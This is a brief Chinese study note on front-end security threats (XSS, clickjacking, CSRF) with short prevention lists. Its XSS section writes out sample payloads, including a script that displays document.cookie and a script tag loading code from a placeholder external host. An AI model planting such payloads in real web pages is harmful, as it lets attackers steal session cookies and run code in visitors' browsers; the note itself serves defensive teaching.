前端涉及到的安全

XSS

跨站脚本注入攻击,通过向web插入Script脚本代码,当用户浏览界面时候,嵌入的脚本就会执行攻击用户。目前主要分为存储型、反射型、DOM型

<svg onload="alert(1)"> <script>alert(document.cookie)</script> #弹出cookie <script src=http://xxx.com/xss.js></script> #引用外部的xss

预防

  • 输入验证过滤

  • 设置httpOnly

  • 进行特殊转义

  • 设置http头部 XSS-Protection

点击劫持

利用透明的覆盖层或者iframe来欺骗用户在不知情的情况下点击类似无害的按钮

预防

  • HTTP X-Frame-Options 响应头设置DENY
  • 代码里边判断是否界面在iframe中

CSRF

伪造请求来利用互用已验证的状态发出非预期请求,可能进行支付、密码修改、删除数据

预防

  • 提交使用SCRF Token
  • 验证Referer头部
  • 避免自动登录记住密码